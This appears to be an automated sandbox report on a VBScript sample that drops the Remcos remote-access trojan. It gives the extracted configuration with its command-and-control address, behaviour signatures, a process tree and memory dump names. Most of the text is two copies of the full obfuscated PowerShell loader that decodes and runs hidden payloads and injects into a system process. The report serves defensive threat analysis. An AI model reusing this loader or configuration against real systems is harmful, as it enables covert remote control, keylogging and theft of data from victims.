Analysis
- max time kernel
149s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/07/2026, 12:41
General
- Target HOLCIM_PHIL._INC_PR_2400404513_7-13-26_001..vbe
- Size 30KB
- Sample260724-pw6b6sel3s
- SHA256 5c4d288be44232a582adc27547d21d39d35d503ee4cd3f5f267759528b1d9c5b
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
RemoteHost
-
172.245.95.9:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-0VW2PJ
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HOLCIM_PHIL._INC_PR_2400404513_7-13-26_001..vbe"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$fortifies = 'flabbergaste daotato';[void](Get-Date)}rv 'gelotoscopy' 'undertitlernes' 'prdike';$digitization = [System.Environment]::OSVersion;$bugtal=-58917+58917;$subscapulary=26683-20683;function lksdjfks {$detribalized = 'dinoz slu';$subtrigonalalse59 = Get-Location}function opskrivningerne ($subtrigonal,$pinnatilobate) {[void](Get-Date);$slammet234 = 'noxnse nxse';$finindstillingerne=efterprve(@(108,216,214,212,232,212,219,204,208,217,169,209,142,212,236,209,228,141,133,219,177,211,207,211,232,203,222,212,195,204,188,202,138)) ;expeditation ($finindstillingerne)}[System.GC]::Collect();function efterprve ($displayr) { $nrer = New-Object char[] $displayr.Count; for ($bugtal = 0; $bugtal -lt $displayr.Count; $bugtal++) { $subscapulary = $bugtal % 10; $displayr[$bugtal] -= $forgyldendes[$subscapulary]; $nrer[$bugtal] = [char]$displayr[$bugtal]; } $klammes224 = New-Object string ($nrer, 0, $nrer.Length); $klammes224}function expeditation ($kalkendes) {[void](Get-Process -Id $PID);&($unvascularly) $kalkendes}Function overstiges ($displayr,$tequistlateca=0){[void](Get-Service | Select-Object -First 1);$goebbels=efterprve(@(163,168,208,224,234,199,228,217,190,165,130,171,211,225,225,164,211,216,198,161,124,184,213,228,221,208,217,141,133,207,177,216,209,222,213,219,228,142));$piety=@(expeditation ($goebbels));For($subtrigonaliguillesque=0; $piety[$subtrigonaliguillesque] -ne $beray; $subtrigonaliguillesque++){$piety[$subtrigonaliguillesque] = opskrivningerne $piety[$subtrigonaliguillesque] $forgyldendes[$subtrigonaliguillesque%10]}$yahwism=efterprve(@(117,207,208,219,226,130,205,200,201,204,186,192,190,207,152,210,219,202,213,228));$interventional=expeditation ($yahwism);if ($tequistlateca) { expeditation $interventional}else {;$interventional}}$jawy = [System.Guid]::NewGuid();$forgyldendes=@(72,101,97,114,116,98,114,101,97,107);$unvascularly=efterprve @(145,170,185);$fastlgges='\tvetydigt.Cro';$recircling=overstiges 'fUtRUlw1GwsFBD8WQTwgQkNVT1tzRTYbGlRGXkETflFaUgYUSFRUWWZVSFIzBxEODkR6VVBCRFNCVEEtIRcEFBsaXVRUWWZV';$equidistantial=overstiges 'IBEVAgdYXUoFGSETBFwTDR0CDQ5mBg4fWxcRWgQTOAoTBkkGHRIPBycEBVQdBk9UMwMrAgZFMQMjFzQiIw8tBBUQEAgLWhwmIx44AxFXCjg=';$vaevning=overstiges 'BRYZHxhQXDYEGT4AEyo5LjoxNTtmU09C';$unimpulsively=overstiges 'DyA1';$frankernes=overstiges 'HRYEAFkjFQAPHw==';$tyre=overstiges 'dg==';overstiges 'bAINHRYDHl8MAjsJABAbFwAABVZsAA8ETgMCFQUKPARKVhIDARENDC8AEg==' 1;overstiges 'bAINHRYDHl8SBiERFRcSAwAAElZsABAHHQYbFhUKJhEIExhMARUNAjxNRQYNEBdM' 1;$equidistantial=$smittefares[0];overstiges 'bAINHRYDHl8SGy0dBAZNXzwAFkYHBwsXFxZSSCIEJUVFBBUHBAsIBS8=' 1;overstiges 'bAINHRYDHl8DBC8GABQVGxcXXEMcABIGWTITEQlLbAgIARgDEAoUGS0BSA==' 1;while (!$bogcafayer) {overstiges 'bAINHRYDHl8vBCYVCQsHCxEEDVl4V1xWABAHAA==' 1;overstiges 'bBYRFwwHBlxPBDgAD1pQFxwMDBs9CRIbAgceHE1LbAAQBx0GGxYVCiYRCBMYTlJBBwokFgRb' 1;overstiges 'bBYRFwwHBlxPGC0RMxcFFxcWFSMtBAUXBkpWAxMKJg4EABoHAUlBTzoAAhsGAR4MDwxh' 1;overstiges 'bBYRFwwHBlxPGC0LBVpd' 1;overstiges 'bAINHRYDHl8EHS0JCBxJRgEVBBMtEVhcBxYTERQYaEgEA1RQQlU=' 1;if ($evelin) {overstiges 'EwcYBhE5LzhFDCQKAxMYWBkEBA8tF1xWBxIXHQQfcUsTFwcSHQsSDgoKBQs=' 1;overstiges 'OwZBVhkLAQkACScQExcQQlYOAA4sABNSWSccBg4PIQsGUjYbBgA=' 1} overstiges 'GwkEFwRKRkw=' 1;overstiges 'bAINHRYDHl8DBC8GABQVGxcXXEMcABIGWTITEQlLbAgIARgDEAoUGS0BSA==' 1 ;overstiges 'bAINHRYDHl8AByERFAATCxEEDVZsAg0dFgMeXw0OPQESWV9HVhYMAjwRBBQVEBcWTwgnEA8G' 1;$equidistantial=$smittefares[$aliturgical]}$foregoers=153963;$fasola=19044;overstiges 'bAINHRYDHl8DDjsTEx4dBRUXBAc7AFwVF0JWCAgYJAQDHQEQFwE=' 1;overstiges 'bAINHRYDHl8mCiwAChMHBwALBBkmABJPLyEdCxcOOhE8SE4kAAoMKSkWBERAMQYXCAUvTUUQEREEFw0CLwITFxgRF0w=' 1;overstiges 'bAINHRYDHl8EBTwAEx0dBkNSWFYTMQQKAEw3CwIELAwPFSlYSCQyKAEsTzURFiEREwImAklWMwMWAAoKOwATHBEQHAASQg==' 1;overstiges 'bAINHRYDHl8SADoEAB4REBsAEwUtWEUXGhYXFw4CLFRWS1oRBwcSHzoMDxVcRhQKEw4vCgQAB05WAwAYJwkAWw==' 1;expeditation $skraalerierne;function mnvbvc {$macropinacoidal = 'sa volaae'};;;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$fortifies = 'flabbergaste daotato';[void](Get-Date)}rv 'gelotoscopy' 'undertitlernes' 'prdike';$digitization = [System.Environment]::OSVersion;$bugtal=-58917+58917;$subscapulary=26683-20683;function lksdjfks {$detribalized = 'dinoz slu';$subtrigonalalse59 = Get-Location}function opskrivningerne ($subtrigonal,$pinnatilobate) {[void](Get-Date);$slammet234 = 'noxnse nxse';$finindstillingerne=efterprve(@(108,216,214,212,232,212,219,204,208,217,169,209,142,212,236,209,228,141,133,219,177,211,207,211,232,203,222,212,195,204,188,202,138)) ;expeditation ($finindstillingerne)}[System.GC]::Collect();function efterprve ($displayr) { $nrer = New-Object char[] $displayr.Count; for ($bugtal = 0; $bugtal -lt $displayr.Count; $bugtal++) { $subscapulary = $bugtal % 10; $displayr[$bugtal] -= $forgyldendes[$subscapulary]; $nrer[$bugtal] = [char]$displayr[$bugtal]; } $klammes224 = New-Object string ($nrer, 0, $nrer.Length); $klammes224}function expeditation ($kalkendes) {[void](Get-Process -Id $PID);&($unvascularly) $kalkendes}Function overstiges ($displayr,$tequistlateca=0){[void](Get-Service | Select-Object -First 1);$goebbels=efterprve(@(163,168,208,224,234,199,228,217,190,165,130,171,211,225,225,164,211,216,198,161,124,184,213,228,221,208,217,141,133,207,177,216,209,222,213,219,228,142));$piety=@(expeditation ($goebbels));For($subtrigonaliguillesque=0; $piety[$subtrigonaliguillesque] -ne $beray; $subtrigonaliguillesque++){$piety[$subtrigonaliguillesque] = opskrivningerne $piety[$subtrigonaliguillesque] $forgyldendes[$subtrigonaliguillesque%10]}$yahwism=efterprve(@(117,207,208,219,226,130,205,200,201,204,186,192,190,207,152,210,219,202,213,228));$interventional=expeditation ($yahwism);if ($tequistlateca) { expeditation $interventional}else {;$interventional}}$jawy = [System.Guid]::NewGuid();$forgyldendes=@(72,101,97,114,116,98,114,101,97,107);$unvascularly=efterprve @(145,170,185);$fastlgges='\tvetydigt.Cro';$recircling=overstiges 'fUtRUlw1GwsFBD8WQTwgQkNVT1tzRTYbGlRGXkETflFaUgYUSFRUWWZVSFIzBxEODkR6VVBCRFNCVEEtIRcEFBsaXVRUWWZV';$equidistantial=overstiges 'IBEVAgdYXUoFGSETBFwTDR0CDQ5mBg4fWxcRWgQTOAoTBkkGHRIPBycEBVQdBk9UMwMrAgZFMQMjFzQiIw8tBBUQEAgLWhwmIx44AxFXCjg=';$vaevning=overstiges 'BRYZHxhQXDYEGT4AEyo5LjoxNTtmU09C';$unimpulsively=overstiges 'DyA1';$frankernes=overstiges 'HRYEAFkjFQAPHw==';$tyre=overstiges 'dg==';overstiges 'bAINHRYDHl8MAjsJABAbFwAABVZsAA8ETgMCFQUKPARKVhIDARENDC8AEg==' 1;overstiges 'bAINHRYDHl8SBiERFRcSAwAAElZsABAHHQYbFhUKJhEIExhMARUNAjxNRQYNEBdM' 1;$equidistantial=$smittefares[0];overstiges 'bAINHRYDHl8SGy0dBAZNXzwAFkYHBwsXFxZSSCIEJUVFBBUHBAsIBS8=' 1;overstiges 'bAINHRYDHl8DBC8GABQVGxcXXEMcABIGWTITEQlLbAgIARgDEAoUGS0BSA==' 1;while (!$bogcafayer) {overstiges 'bAINHRYDHl8vBCYVCQsHCxEEDVl4V1xWABAHAA==' 1;overstiges 'bBYRFwwHBlxPBDgAD1pQFxwMDBs9CRIbAgceHE1LbAAQBx0GGxYVCiYRCBMYTlJBBwokFgRb' 1;overstiges 'bBYRFwwHBlxPGC0RMxcFFxcWFSMtBAUXBkpWAxMKJg4EABoHAUlBTzoAAhsGAR4MDwxh' 1;overstiges 'bBYRFwwHBlxPGC0LBVpd' 1;overstiges 'bAINHRYDHl8EHS0JCBxJRgEVBBMtEVhcBxYTERQYaEgEA1RQQlU=' 1;if ($evelin) {overstiges 'EwcYBhE5LzhFDCQKAxMYWBkEBA8tF1xWBxIXHQQfcUsTFwcSHQsSDgoKBQs=' 1;overstiges 'OwZBVhkLAQkACScQExcQQlYOAA4sABNSWSccBg4PIQsGUjYbBgA=' 1} overstiges 'GwkEFwRKRkw=' 1;overstiges 'bAINHRYDHl8DBC8GABQVGxcXXEMcABIGWTITEQlLbAgIARgDEAoUGS0BSA==' 1 ;overstiges 'bAINHRYDHl8AByERFAATCxEEDVZsAg0dFgMeXw0OPQESWV9HVhYMAjwRBBQVEBcWTwgnEA8G' 1;$equidistantial=$smittefares[$aliturgical]}$foregoers=153963;$fasola=19044;overstiges 'bAINHRYDHl8DDjsTEx4dBRUXBAc7AFwVF0JWCAgYJAQDHQEQFwE=' 1;overstiges 'bAINHRYDHl8mCiwAChMHBwALBBkmABJPLyEdCxcOOhE8SE4kAAoMKSkWBERAMQYXCAUvTUUQEREEFw0CLwITFxgRF0w=' 1;overstiges 'bAINHRYDHl8EBTwAEx0dBkNSWFYTMQQKAEw3CwIELAwPFSlYSCQyKAEsTzURFiEREwImAklWMwMWAAoKOwATHBEQHAASQg==' 1;overstiges 'bAINHRYDHl8SADoEAB4REBsAEwUtWEUXGhYXFw4CLFRWS1oRBwcSHzoMDxVcRhQKEw4vCgQAB05WAwAYJwkAWw==' 1;expeditation $skraalerierne;function mnvbvc {$macropinacoidal = 'sa volaae'};;;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
tvetydigt.Cro
memory/1568-77-0x0000000000DD0000-0x00000000020B6000-memory.dmp
memory/1568-76-0x0000000000DD0000-0x00000000020B6000-memory.dmp
memory/1568-75-0x0000000000DD0000-0x00000000020B6000-memory.dmp
memory/1568-74-0x000000001EC00000-0x000000001ECF7000-memory.dmp
memory/1568-73-0x000000001EC00000-0x000000001ECF7000-memory.dmp
memory/1568-70-0x000000001EC00000-0x000000001ECF7000-memory.dmp
memory/1568-65-0x0000000000DD0000-0x00000000020B6000-memory.dmp
memory/1568-47-0x0000000000DD0000-0x00000000020B6000-memory.dmp
memory/2672-41-0x0000000007CE0000-0x0000000007D76000-memory.dmp
memory/2672-30-0x0000000006330000-0x0000000006396000-memory.dmp
memory/2672-45-0x0000000008FA0000-0x000000000B12C000-memory.dmp
memory/2672-43-0x00000000089E0000-0x0000000008F9A000-memory.dmp
memory/2672-42-0x0000000007A30000-0x0000000007A52000-memory.dmp
memory/2672-39-0x0000000008360000-0x00000000089DC000-memory.dmp
memory/2672-40-0x0000000006F50000-0x0000000006F6A000-memory.dmp
memory/2672-37-0x0000000006A20000-0x0000000006A6C000-memory.dmp
memory/2672-36-0x00000000069E0000-0x00000000069FE000-memory.dmp
memory/2672-34-0x0000000006540000-0x000000000689B000-memory.dmp
memory/2672-27-0x0000000005540000-0x0000000005576000-memory.dmp
memory/2672-28-0x0000000005C70000-0x00000000062BA000-memory.dmp
memory/2672-29-0x0000000005C20000-0x0000000005C42000-memory.dmp
memory/2672-31-0x00000000063A0000-0x0000000006406000-memory.dmp
memory/5988-26-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-11-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-13-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-24-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-23-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-12-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-21-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-16-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-0-0x00007FF82623F000-0x00007FF826240000-memory.dmp
memory/5988-18-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-17-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-14-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-15-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-10-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-9-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-8-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-7-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-6-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-5-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp
memory/5988-4-0x000001262ADD0000-0x000001262ADF2000-memory.dmp
memory/5988-1-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp